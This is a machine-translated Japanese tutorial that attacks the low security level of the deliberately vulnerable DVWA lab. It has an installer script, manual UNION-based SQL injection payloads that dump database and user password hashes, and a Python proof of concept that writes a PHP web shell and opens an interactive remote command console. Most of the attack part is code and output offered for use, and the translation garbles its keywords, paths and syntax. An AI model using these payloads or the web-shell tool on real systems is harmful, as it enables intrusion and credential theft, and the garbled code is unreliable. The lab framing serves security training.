くそ脆弱なWebアプリケーション – SQLインジェクション
筆者:
Ashfaqアンサリ

によるレビュー:
評価:
5
上の 10月 1, 2012
最終更新日:1月 18, 2013

要約:

くそー脆弱なWebアプリケーションに対するSQLインジェクション攻撃を行うための手順や自動化されたアプローチによって、ステップ.

はじめに

くそ脆弱なWebアプリケーション (DVWA) です PHP / MySQLの いまいましい脆弱で、悪用される可能性がWebアプリケーションでは、主な目標は、法的な環境で自分のスキルやツールをテストするためにセキュリティの専門家のための援助であることがあるeasily.Its, Web開発者は、より良いラボ環境でのWebアプリケーションのセキュリティを教える/学ぶためにWebアプリケーションのセキュリティ対策と援助教師/生徒のプロセスを理解するのに役立ち.

警告!

くそ脆弱なWebアプリケーション いまいましい脆弱である! あなたのホスティングプロバイダのそれをアップロードしないでください public_htmlの フォルダまたはそれがハッキングされるように、どのような作業のWebサーバー. 私がダウンロードしてインストールすることをお勧めします XAMPP テストのためだけに使用されているあなたのLAN内のローカルマシンに.
私たちは、いずれかが使用される方法のための責任を負いません くそ脆弱なWebアプリケーション (DVWA). 我々は、アプリケーションの目的を明確にしており、それが悪意を持って使用すべきではありません. 私たちは、Webサーバを生きるために、警告と上DVWAをインストールするからユーザーを防ぐための措置を与えている. Webサーバーは、のインストールを介して、侵害された場合 DVWA それが私たちの責任ではない、それをアップロードし、インストールした人の責任です.

インストール

一般的に我々は、必要 XAMPP いまいましい脆弱なWebアプリケーションをセットアップするために、サーバーが、 XAMPP サーバは何ものコレクションではありません アパッチ, SQL, パール, PHP, OpenSSLの とが、他のサーバ側のソフトウェアの バックトラック 5 これらのすべてのソフトウェアは、インストールされています. これは、バックトラックマシンにXAMPPをインストールする必要がないことを意味. あなたがする必要があるのはくそ脆弱なWebアプリケーションを取得してのルートディレクトリにそれを置くことです バックトラック 5.

素晴らしいbashスクリプトは、すべてのプロセスを自動化することが可能です. おかげで: トラビスフィリップス.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
エコー ""
エコー "############################################"
エコー # "#くそ脆弱なWebアプリケーションインストーラスクリプト"
エコー "############################################"
エコー "で符号化され: トラビスフィリップス"
エコー "ウェブサイト: HTTP://theunl33t.blogspot.com\N"
エコー "更新者: Ashfaqアンサリ\N"
エコー "ウェブサイト: HTTP://hacksys.vfreaks.com\N"

エコー "[*] ディレクトリへの/ var / WWWを変更..."
CD /だった/WWW &グアテマラ; /devの/ゼロ
エコー -と "完了!\N"

エコー -N "[*] DVWAディレクトリを作成しています..."
します。mkdir dvwa &グアテマラ; /devの/ゼロ
エコー -と "完了!\N"

エコー -N "[*] 一時ディレクトリへの変更..."
CD /TMP
エコー -と "完了!\N"

エコー "[*] DVWAをダウンロード中..."
wgetを HTTP://voxel.dl.sourceforge.net/プロジェクト/dvwa/DVWA-1.0.7.zip
エコー -と "完了!\N"

エコー -N "[*] DVWAの解凍..."
解凍する DVWA-1.0.7.zip &グアテマラ; /devの/ゼロ
エコー -と "完了!\N"

エコー -N "[*] zipファイルを削除しています..."
RM DVWA-1.0.7.zip &グアテマラ; /devの/ゼロ
エコー -と "完了!\N"

エコー -N "[*] ウェブディレクトリのルートにdvwaをコピーしています..."
CP -R dvwa/* /だった/WWW/dvwa &グアテマラ; /devの/ゼロ
エコー -と "完了!\N"

エコー -N "[*] 一時ディレクトリをクリアする..."
RM -R dvwa &グアテマラ; /devの/ゼロ
エコー -と "完了!\N"

エコー -N "[*] php.iniで含めるリモート有効にしています..."
CP //PHP5/apache2の/php.iniの //PHP5/apache2の/php.ini1
渇き -と さん/ allow_url_includeを=オフ/ allow_url_includeを=オン/ ' //PHP5/apache2の/php.ini1 &グアテマラ; //PHP5/apache2の/php.iniの
RM //PHP5/apache2の/php.ini1
エコー -と "完了!\N"

エコー -N "[*] の/ var / www /のdvwa /ハッキング/アップロードに書き込み権限を有効にしています..."
chmodコマンド 777 /だった/WWW/dvwa/ハッキング/アップロード/
エコー -と "完了!\N"

エコー -N "[*] Webサービスを開始..."
サービスapache2のスタート &アンプ;&グアテマラ; /devの/ゼロ
エコー -と "完了!\N"

エコー -N "[*] MySQLを起動する..."
mysqlのサービス開始 &アンプ;&グアテマラ; /devの/ゼロ
エコー -と "完了!\N"

エコー -N "[*] 設定ファイルを更新しています..."
CP /だった/WWW/dvwa/設定/config.inc.phpを /だった/WWW/dvwa/設定/config.inc.php1
渇き -と さん/ '\'\''/'\''toor'\''/' /だった/WWW/dvwa/設定/config.inc.php1 &グアテマラ; /だった/WWW/dvwa/設定/config.inc.phpを
RM /だった/WWW/dvwa/設定/config.inc.php1
エコー -と "完了!\N"

エコー -N "[*] データベースを更新しています..."
wgetを --ポストデータ "CREATE_DB =作成 / データベースをリセット" HTTP://127.0.0.1/dvwa/setup.phpを &アンプ;&グアテマラ; /devの/ゼロ
mysqlの -あなた ルート --パスワード='toor' -と '更新dvwa.usersはアバター= "/ハッキング/ユーザを設定/ gordonb.jpg" ここでユーザ= "gordonb";'
mysqlの -あなた ルート --パスワード='toor' -と '更新dvwa.usersはアバター= "/ハッキング/ユーザを設定/ smithy.jpg" ここでユーザ= "鍛冶場";'
mysqlの -あなた ルート --パスワード='toor' -と '更新dvwa.usersはアバター= "/ハッキング/ユーザを設定/ admin.jpg" ここでユーザ= "admin"を;'
mysqlの -あなた ルート --パスワード='toor' -と '更新dvwa.usersはアバター= "/ハッキング/ユーザを設定/ pablo.jpg" ここでユーザ= "パブロ";'
mysqlの -あなた ルート --パスワード='toor' -と アバター= "/ hackable/users/1337.jpgセット 'アップデートdvwa.users" ここでユーザ= "1337";'
エコー -と "完了!\N"

エコー -と -N "[*] DVWAに、Firefoxを起動する\Nユーザー名: 管理者\Nパスワード: パスワード"
FirefoxのHTTP://127.0.0.1/dvwa/考えられる理由 &アンプ;&グアテマラ; /devの/ゼロ &アンプ;
エコー -と "\N完了!\N"
エコー -と "[\033[1;32M * 033[1;37M] DVWAインストールが終了!\N"

DVWAが正常にインストールされています, SQLインジェクションに移動してみましょう. くそ脆弱なWebアプリケーション上の3つのSQLインジェクションのレベルがあります (ロー, 中、高). この記事では、我々は、低レベルを倒す方法を説明します.

脆弱なコード

1
2
3
4
5
6
$イド=$_GET['ID'];

$getid="FIRST_NAMEセレクト, user_idの= 'ユーザーからLAST_NAME$イド'";
$結果=するmysql_query($getid) または ('
<プリ>'
. はmysql_error() . '</プリ>
'
);

上記のコードはに対して脆弱です SQLインジェクション. あなたが見ることができるように使用されない除菌はありません, 変数は、単にストレートSQLクエリに挿入されている.

それはSQLインジェクションに対して脆弱であるかどうかを確認してみましょう:

ユーザーID: ‘

ページには、次のエラーメッセージが返される:

あなたのSQL構文でエラーが発生している; 近くで使用する権利構文についてはMySQLサーバのバージョンに対応するマニュアルを確認 ””’ ラインで 1

これは、SQLインジェクションに対して脆弱であることを確認, 最初に行うことがありますどのように多くの列を調べるです:

ユーザーID: ‘ BY ORDER 1#
ユーザーID: ‘ BY ORDER 2#

これらは、単に同じページを返す.

ユーザーID: ‘ BY ORDER 3#

それからこれは私達の貴重なエラーメッセージを表示します:

不明な列 '3’ ORDER句」における’

故に, 2つの列があります, あなたがユーザIDを渡すときのように、明らかにFIRST_NAMEとLAST_NAME列である: 有効なユーザーIDを構成する (1) たとえばあなたがこれを取得:

ID: 1
ファーストネーム: 管理者
姓: 管理者

右, データベース名を見つけるために、今、その時間, テーブル名, 列名と何か便利で面白い. まず最初に最初のは、データベースのバージョンを調べてみましょう:

ID: ‘ UNION ALL SELECT 1、@バージョン#@
ファーストネーム: 1
姓: 5.1.41-3ubuntu12.10

だから、使用しています MySQLの 5.1.41-3 上の Ubuntuの. データベースが実行しているユーザーと我々が扱っているデータベースの名前を見つけることができます:

ID: ‘ UNION ALL SELECTのユーザー(),データベース()#
ファーストネーム: ルート@ localhostの
姓: dvwa

データベース·ユーザーです ルート そして我々が関係しているデータベースがある dvwa. ユーザーがrootであることからのは、MySQLのハッシュをダンプしましょう:

ID: ‘ UNION ALL SELECTのユーザー,mysql.userの番号からのパスワード
ファーストネーム: ルート
姓: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECTのユーザー,mysql.userの番号からのパスワード
ファーストネーム: ルート
姓: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECTのユーザー,mysql.userの番号からのパスワード
ファーストネーム: ルート
姓: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECTのユーザー,mysql.userの番号からのパスワード
ファーストネーム: は、debian-SYS-メイント
姓: *8C4C424D182238AFBA8B217F692D07C952EF4087

ID: ‘ UNION ALL SELECTのユーザー,mysql.userの番号からのパスワード
ファーストネーム: ルート
姓: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECTのユーザー,mysql.userの番号からのパスワード
ファーストネーム: 管理者
姓: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ワウ! 我々はルートPASSORDハッシュを得た. 我々は使用することができます ジョン·ザ·リッパー ハッシュをクラックする.

我々は、データベース名がわかっている dvwa. のテーブル名を調べてみましょう:

ID: ‘ UNION ALL SELECT TABLE_SCHEMA,TABLE_SCHEMA LIKE '%dvwa%INFORMATION_SCHEMA.TABLES FROMテーブル名’ #
ファーストネーム: dvwa
姓: ゲストブック

ID: ‘ UNION ALL SELECT TABLE_SCHEMA,TABLE_SCHEMA LIKE '%dvwa%INFORMATION_SCHEMA.TABLES FROMテーブル名’ #
ファーストネーム: dvwa
姓: ユーザーは

2つのテーブルがあります。 dvwa として指定されたデータベース ゲストブックユーザーは

今, 内の列を見つけるのを聞かせて ユーザーは テーブル.

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, TABLE_SCHEMA LIKE '%dvwa%INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME’ #
ファーストネーム: dvwa
姓: comment_id

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, TABLE_SCHEMA LIKE '%dvwa%INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME’ #
ファーストネーム: dvwa
姓: コメント

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, TABLE_SCHEMA LIKE '%dvwa%INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME’ #
ファーストネーム: dvwa
姓: 名前

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, TABLE_SCHEMA LIKE '%dvwa%INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME’ #
ファーストネーム: dvwa
姓: USER_ID

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, TABLE_SCHEMA LIKE '%dvwa%INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME’ #
ファーストネーム: dvwa
姓: FIRST_NAME

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, TABLE_SCHEMA LIKE '%dvwa%INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME’ #
ファーストネーム: dvwa
姓: LAST_NAME

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, TABLE_SCHEMA LIKE '%dvwa%INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME’ #
ファーストネーム: dvwa
姓: ユーザー

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, TABLE_SCHEMA LIKE '%dvwa%INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME’ #
ファーストネーム: dvwa
姓: パスワード

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, TABLE_SCHEMA LIKE '%dvwa%INFORMATION_SCHEMA.COLUMNS FROM COLUMN_NAME’ #
ファーストネーム: dvwa
姓: アバター

素晴らしい, それではからユーザー名とパスワードをダンプしましょう dvwa.users テーブル. さあ.

ID: ‘ UNION ALL SELECTのユーザー, dvwa.usersからのパスワード #
ファーストネーム: 管理者
姓: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ‘ UNION ALL SELECTのユーザー, dvwa.usersからのパスワード #
ファーストネーム: gordonb
姓: e99a18c428cb38d5f260853678922e03

ID: ‘ UNION ALL SELECTのユーザー, dvwa.usersからのパスワード #
ファーストネーム: 1337
姓: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ‘ UNION ALL SELECTのユーザー, dvwa.usersからのパスワード #
ファーストネーム: パブロ
姓: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ‘ UNION ALL SELECTのユーザー, dvwa.usersからのパスワード #
ファーストネーム: 鍛冶場
姓: 5f4dcc3b5aa765d61d8327deb882cf99

ジョブが完了. 我々は成功したユーザーの資格情報をダンプしている. 我々は、任意のMD5ハッシュクラッカーを使用してそれらをクラックあり.

HackSysチーム PythonでのPoCを作成しているという点で、補助 DVWAで自動化されたSQLインジェクション、我々は、通常のシェルコマンドを実行できるシェルプロンプトを提供します.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/USR / binに/パイソン
#________________________________________________
#    くそ脆弱なWebアプリケーション - DVWA
#     SQLインジェクションは、RCEにエクスプロイト - のPoC
#   Ashfaqアンサリによって (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (株式会社)   HTTP://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~ ~~ HackSysチームによるパワー - ヒョウ属
#________________________________________________
#
インポート SYS, ソケット, urllibの, , urllib2の, getpassは, 文字列, 時間, ランダム, base64で
から optparseは インポート OptionParserの
から cookielib インポート CookieJarの

descLogo = """
________________________________________________

     くそ脆弱なWebアプリケーション - DVWA
           RCEへのSQLインジェクション - のPoC
   Ashfaqアンサリによって (hacksysteam@hotmail.com)

            (__)
            (株式会社)  HTTP://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~ ~~ HackSysチームによるパワー - ヒョウ属
________________________________________________

"""


#printコマンドで使用するカラー変数
RED= "\033[31M" # 赤
GREEN= "\033[32M" # 緑
ホワイト= "\033[0M" # 白
CYAN = "\033[36M" #シアン
PURPLE = "\033[35M" #紫

#変数
urlStart = "脆弱性/ SQLI / index.phpを?イド="
urlEnd = "&提出=送信"
シェル名 = "fd7cb4cb0031ba249"
エージェント = ["Mozillaおよび (互換性のある; MSIE 5.5; Windows NTの 5.0)",
    "Internet Explorerの 7 (Windows Vistaの); Mozillaおよび ",
    "Google Chromeの 0.2.149.29 (ウィンドウズXP)",
    "オペラ 9.25 (Windows Vistaの)",
    "Mozillaおよび (互換性のある; MSIE 7.0B; Windows NTの 5.1)",
    "Opera/8.00 (Windows NTの 5.1; あなた; で)"]
エージェント = ランダム.選択(エージェント)


#使用方法のヘルプの要約
用法 = CYAN + "。/%プログラムprog [<オプション>] -T [ターゲット] -D [ディレクトリ]"
用法 += "\N例: ./%PROG-Pはlocalhost:8080 -T 192.168.1.15:8080 -D / A dvwa /"

#パーサオプション
パーザー = OptionParserの(用法=用法)
パーザー.add_option("-P", タイプ="文字列",アクション="店", DEST="プロキシ",
                  役立つ="HTTPプロキシ <サーバ:ポート>")
パーザー.add_option("-T", タイプ="文字列", アクション="店", DEST="ターゲット",
                  役立つ="ターゲットサーバー <サーバ:ポート>")
パーザー.add_option("-D", タイプ="文字列", アクション="店", DEST="DIRPATH",
                  役立つ=くそ脆弱なWebアプリケーションに "ディレクトリパス")
(オプション, 引数) = パーザー.れるparse_args()


#テキストを入力 - ちょうど楽しみのために
DEF typingText(テキストメッセージ,):
 
  試す:
    のために テキストメッセージ:
      印刷 色 + "\B%S"%私,
      SYS.標準出力.フラッシュ()
      時間.寝る(0.020)
  除く:
    合格
 

もし のみ(SYS.ARGV) < 5:
    typingText(descLogo, PURPLE)
    パーザー.print_help()
    SYS.終了する(1)
   

#プロキシハンドラ
DEF ますgetProxy():
 
    試す:
        proxy_handler = urllib2の.プロキシハンドラ({'HTTP': オプション.代理})
    除く(ソケット.タイムアウト):
            印刷 RED + "\Tプロキシがタイムアウトしました...\N"
            SYS.終了する(1)
    復帰 proxy_handler


#テストプロキシ接続
DEF testProxy():
 
    印刷(CYAN + "[+] テストプロキシ@%sの..." % (オプション.代理))
    オープナー = urllib2の.build_opener(ますgetProxy())
   
    試す:
      チェック = オープナー.開く("HTTP://www.google.com").読む()
    除く:
      チェック = 0
      合格
   
    もし チェック >= 1:
      印刷(GREEN + "\Tプロキシが動作していることが判明した...\N")
    ほかに:
      印刷 RED + "\Tプロキシが失敗した... 終了!\N"
      SYS.終了する(1)


#サーバからの応答を取得する
DEF getServerResponse(CJ, targetURLに, データ):
     
    もし オプション.代理:
      試す:
    オープナー = urllib2の.build_opener(ますgetProxy(), urllib2の.HTTPCookieProcessor(CJ))
    オープナー.addheaders = [('ユーザーエージェント', エージェント)]
    チェック = オープナー.開く(targetURLに, データ).読む()
    復帰 チェック
      除く:
    印刷 (RED + "\Tプロキシ接続は、リモートターゲットに失敗した...\N")
    SYS.終了する(1)
    ほかに:
      試す:
    オープナー = urllib2の.build_opener(urllib2の.HTTPCookieProcessor(CJ))
    オープナー.addheaders = [('ユーザーエージェント', エージェント)]
    チェック = オープナー.開く(targetURLに, データ).読む()
    復帰 チェック
      除く:
    印刷 (RED + "\Tターゲット接続に失敗しました, あなたの住所を確認してください...\N")
    SYS.終了する(1)


#脆弱なWebアプリケーションの酷評にログインしよう
DEF doLogin():
 
    印刷(CYAN + "[+] DVWAにログインしようとしています...")
    targetURLに = "HTTP://" + オプション.ターゲット + オプション.DIRPATH + "考えられる理由"
    価値観 = {'ユーザ名' : '管理', 'パスワード' : 'パスワード', 'ログイン' : 'ログイン'}
    データ = urllibの.でurlencode(価値観)
    CJ = CookieJarの()
   
    #サーバからの応答を取得し、変数に格納
    respHTML = getServerResponse(CJ, targetURLに, データ)
       
    もし しない .検索("ログインに失敗しました", respHTML):
      時間.寝る(1)
      typingText("\T認証に成功した...\N\N", GREEN)
      復帰 CJ
    ほかに:
      時間.寝る(1)
      typingText("\T認証が拒否されました! 終了...\N\N\N", RED)
      SYS.終了する(1)


#くそ脆弱なWebアプリケーションのセキュリティレベルをtampertheしよう
DEF lowSecurity(adminCookie):
 
    印刷(CYAN + "[+] DVWAのセキュリティを改ざん...")
    targetURLに = "HTTP://" + オプション.ターゲット + オプション.DIRPATH + "security.php"
    価値観 = {'セキュリティ' : 「ロー」, 'seclev_submit' : 「送信」}
    データ = urllibの.でurlencode(価値観)
    CJ = adminCookie #trueであればログインウィンドウを閉じから返されたクッキーを使用してください() 機能
   
    #サーバからの応答を取得し、変数に格納
    respHTML = getServerResponse(CJ, targetURLに, データ)
   
    もし .検索(「セキュリティレベルは、現在ある <で>低い</で>", respHTML):
      時間.寝る(1)
      typingText("\TLOWにセキュリティレベルの成功セット...\N\N", GREEN)
    ほかに:
      時間.寝る(1)
      typingText("\Tセキュリティレベルを改ざんすることができません! 終了...\N\N", RED)
      SYS.終了する(1)


#ターゲットはSQLインジェクションに対して脆弱であるかどうかを確認してください
DEF testSQLinjection(adminCookie):
 
    印刷(CYAN + "[+] ターゲットが脆弱であるか確認しています...")
    injection_url = "1""
    targetURLに = "HTTP://" + オプション.ターゲット + オプション.DIRPATH + urlStart + injection_url + urlEnd
    データ = ""
   
    CJ = adminCookie #trueであればログインウィンドウを閉じから返されたクッキーを使用してください() 機能

    #サーバからの応答を取得し、変数に格納
    respHTML = getServerResponse(CJ, targetURLに, データ)
   
    もし .検索(あなたのSQL構文内の "エラー", respHTML):
      時間.寝る(1)
      typingText("\TW00T -- ターゲットが脆弱であることが判明...\N\N", GREEN)
    ほかに:
      時間.寝る(1)
      typingText("\To00w -- ターゲットが脆弱ではありません! 終了...\N\N", RED)    
      SYS.終了する(1)


#MySQLの詳細を確認
DEF findMySQLInfo(adminCookie):
 
    印刷(CYAN + "[+] MySQLの情報をRetriving ...")
    injection_url = "1" UNION ALL SELECT CONCAT_WS(0X3B,0x4861636b537973205465616d,ユーザー(),データベース(),バージョン(),0x4861636b537973205465616d)%2C2;#"
    targetURLに = "HTTP://" + オプション.ターゲット + オプション.DIRPATH + urlStart + injection_url + urlEnd
    データ = ""
   
    CJ = adminCookie #trueであればログインウィンドウを閉じから返されたクッキーを使用してください() 機能

    #サーバからの応答を取得し、変数に格納
    respHTML = getServerResponse(CJ, targetURLに, データ)
   
    # さて興味深い情報を抽出
    get_secret_data = 文字列.見つける(respHTML,  "HackSysチーム")
     
    # ターゲットが脆弱で終了しない場合には
    もし get_secret_data == -1:
        typingText("\T操作は失敗しました. 今終了...\N\N", RED)
        SYS.終了する(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = 文字列.見つける(new_html4,  "HackSysチーム")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # データが受信されました, 今それをフォーマットして表示する
    formatted_output = ST.スプリット(new_html_5,  ";")
    時間.寝る(1)
    印刷 GREEN + "\TMySQLデータベース: ",  formatted_output[2]
    印刷 GREEN + "\TMySQLバージョン : ",  formatted_output[3]
    印刷 GREEN + "\TMySQLのデータベースユーザー : ",  formatted_output[1]
    印刷 ""
    復帰


#usersテーブル内のレコード数にしてください
DEF findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1" UNION ALL SELECT 1%2C COUNT(*)+%3B%23 のユーザーから"
    targetURLに = "HTTP://" + オプション.ターゲット + オプション.DIRPATH + urlStart + injection_url + urlEnd
    データ = ""
   
    CJ = adminCookie #trueであればログインウィンドウを閉じから返されたクッキーを使用してください() 機能

    #サーバからの応答を取得し、変数に格納
    respHTML = getServerResponse(CJ, targetURLに, データ)
   
    # さて興味深い情報を抽出
    get_secret_data = 文字列.見つける(respHTML,  "<BR>姓:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = 文字列.見つける(new_html,  "</プリ>\R\N\R\N\T</DIV>")  
    new_html_2 = new_html[:new_get_secret_data]

    # データが受信されました, 今それをフォーマットして表示する
    formatted_output = ST.スプリット(new_html_2,  ": ")
    復帰 formatted_output[2]
   

#Usersテーブルからユーザ名の名前とパスワードをダンプしよう
DEF findUserPasswords(adminCookie, インデックス):
 
    injection_url = "1" UNION ALL SELECT 1%2C CONCAT_WS(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+ のユーザーから LIMIT " + ST(インデックス) + "%2C30%3B%23"
    targetURLに = "HTTP://" + オプション.ターゲット + オプション.DIRPATH + urlStart + injection_url + urlEnd
    データ = ""
   
    CJ = adminCookie #trueであればログインウィンドウを閉じから返されたクッキーを使用してください() 機能

    #サーバからの応答を取得し、変数に格納
    respHTML = getServerResponse(CJ, targetURLに, データ)
   
    # さて興味深い情報を抽出
    get_secret_data = 文字列.見つける(respHTML,  "HackSysチーム")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = 文字列.見つける(new_html,  "HackSysチーム")    
    new_html_2 = new_html[:new_get_secret_data]

    # データが受信されました, 今それをフォーマットして表示する
    formatted_output = ST.スプリット(new_html_2,  ";")
    時間.寝る(1)
    印刷 GREEN + "\TユーザーID : ",  formatted_output[1]
    印刷 GREEN + "\T姓: ",  formatted_output[2]
    印刷 GREEN + "\T姓 : ",  formatted_output[3]
    印刷 GREEN + "\Tユーザー名: ",  formatted_output[4]
    印刷 GREEN + "\Tパスワードハッシュ : ",  formatted_output[5]
    印刷 ""


#対話的な攻撃のためtinyShellをアップロードしよう
DEF uploadShellViaSQLi(adminCookie):
 
    印刷(CYAN + "[+] SQLI経由でシェルをアップロード...")
   
    #Windows XPでのXAMPP
    #injection_url = "1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:xampphtdocsdvwashell.php';#"

    #リナックス
    injection_url = 「1%の27 の共用体 ALL が %27%27%2C %27%3C%3Fphp システムを選択します(BASE64_DECODE(%24_GET[%22 %27%2Fvar%2F%%2Fdvwaを2FwwwのCMD%22%の5D%29%29%3%27%3B %の3F INTO OUTFILE" + シェル名 + "PHPの%27%3B%23"
   
    targetURLに = "HTTP://" + オプション.ターゲット + オプション.DIRPATH + urlStart + injection_url + urlEnd
    データ = ""
   
    CJ = adminCookie #trueであればログインウィンドウを閉じから返されたクッキーを使用してください() 機能

    #サーバからの応答を取得し、変数に格納
    respHTML = getServerResponse(CJ, targetURLに, データ)

    もし .検索("<H3>ユーザーID:</H3>", respHTML):
      時間.寝る(1)
      typingText("\TW00T -- シェルは正常にアップロード...\N\N", GREEN)
    elifの .検索(「すでに存在してい</プリ>", respHTML):
      時間.寝る(1)
      typingText("\TW00T -- シェルは、すでに存在してい...\N\N", GREEN)  
    ほかに:
      時間.寝る(1)
      typingText("\To00w -- シェルをアップロードすることができません...\N\N", RED)
      SYS.終了する(1)


#対話型の攻撃セッションを開始
DEF interactiveAttack(adminCookie):
 
  印刷 CYAN + "[+] 対話型のリモートコンソールを入力する (終了のためのQ)\N" + ホワイト + "\N  HackSysチーム - ヒョウ属\N   筆者: Ashfaqアンサリ\N  hacksysteam@hotmail.com\N HTTP://hacksys.vfreaks.com /\N\N"
  ホンジュラス = GREEN + "%S @%sの# " % (getpassは.getUserメソッド(), オプション.ターゲット) + ホワイト
  CMD = ""
  データ = ""
  CJ = adminCookie
  同時に CMD != 'q'は:
    試す:
      CMD = raw_inputを(ホンジュラス)
      cmd64 = base64で.b64encode(CMD)      
      targetURLに = ("HTTP://%S%sの%のs.php?CMD =%sの" % (オプション.ターゲット, オプション.DIRPATH, シェル名, cmd64))
      または = getServerResponse(CJ, targetURLに, cmd64)
      shellOutput = または.スプリット("管理者")
      印刷 ホワイト + shellOutput[2]
    除く:
      破る
 
  # 自殺
  rmShell = base64で.b64encode("RMパーセントs.php" % (シェル名))
  targetURLに = ("HTTP://%S%sの%のs.php?CMD =%sの" % (オプション.ターゲット, オプション.DIRPATH, シェル名, rmShell))
  または = getServerResponse(CJ, targetURLに, rmShell)

     
#主な機能
DEF メイン():
 
  #タイピングテキストスタイルでバナーを印刷
  typingText(descLogo, PURPLE)
 
  #使用して-p引数が指定されている場合、プロキシサーバーをチェックして、接続
  もし オプション.代理:
    testProxy()

  #adminのクッキーをつかむ
  adminCookie = doLogin()
 
  #セキュリティレベルを改ざん
  lowSecurity(adminCookie)
 
  #テストSQLインジェクションの脆弱性
  testSQLinjection(adminCookie)
 
  #MySQLの内容をダンプします
  findMySQLInfo(adminCookie)
 
  #usersテーブル内のレコード数を見つける
  totalRecords = int型(findNoOfRecordsInTable(adminCookie))
 
  印刷(CYAN + "[+] ユーザー名とパスワードをRetriving ...")
 
  のために インデックス 範囲(1,totalRecords 1):
    #使用するパスワードをダンプ
    findUserPasswords(adminCookie, インデックス)
 
  #tinyShellをアップロード
  uploadShellViaSQLi(adminCookie)
 
  #インタラクティブな攻撃を開始
  interactiveAttack(adminCookie)
 
もし __name__ == "__main__":
    メイン()

くそ脆弱なWebアプリケーションをダウンロードします – SQLインジェクションのPoC

 

DVWA_SQLi.zip

 
この記事を読むために時間を割いていただきありがとうございます. あなたはすべての問題に直面した場合, 私たちに書くこと自由に感じなさい: hacksysteam@hotmail.com

 
 

178,069 閲覧, 50 今日の閲覧回数

以下の2つのタブが、以下の内容を変更する.

Ashfaqアンサリ

セキュリティー研究者
Ashfaqアンサリは、名前付きHackSysチームコードの創始者であり、 "ヒョウ属". 彼は、情報セキュリティの様々な側面での経験を持つセキュリティ研究者である. 彼が執筆しています "HackSysエクストリーム脆弱ドライバ" と "死のシェルコード". 彼はまた、書かれており、低レベルのソフトウェア開発のさまざまなホワイトペーパーを公開しています. 彼のコアの関心が内にあり "低レベルの搾取", "リバースエンジニアリング", "プログラム解析" と "ハイブリッドファジング". 彼は人工知能と機械学習のミーハーです. 彼はのための章リードです ヌルプネ.

にいいえレスポンスん “くそ脆弱なWebアプリケーション – SQLインジェクション”

トラックバック/ピングバック

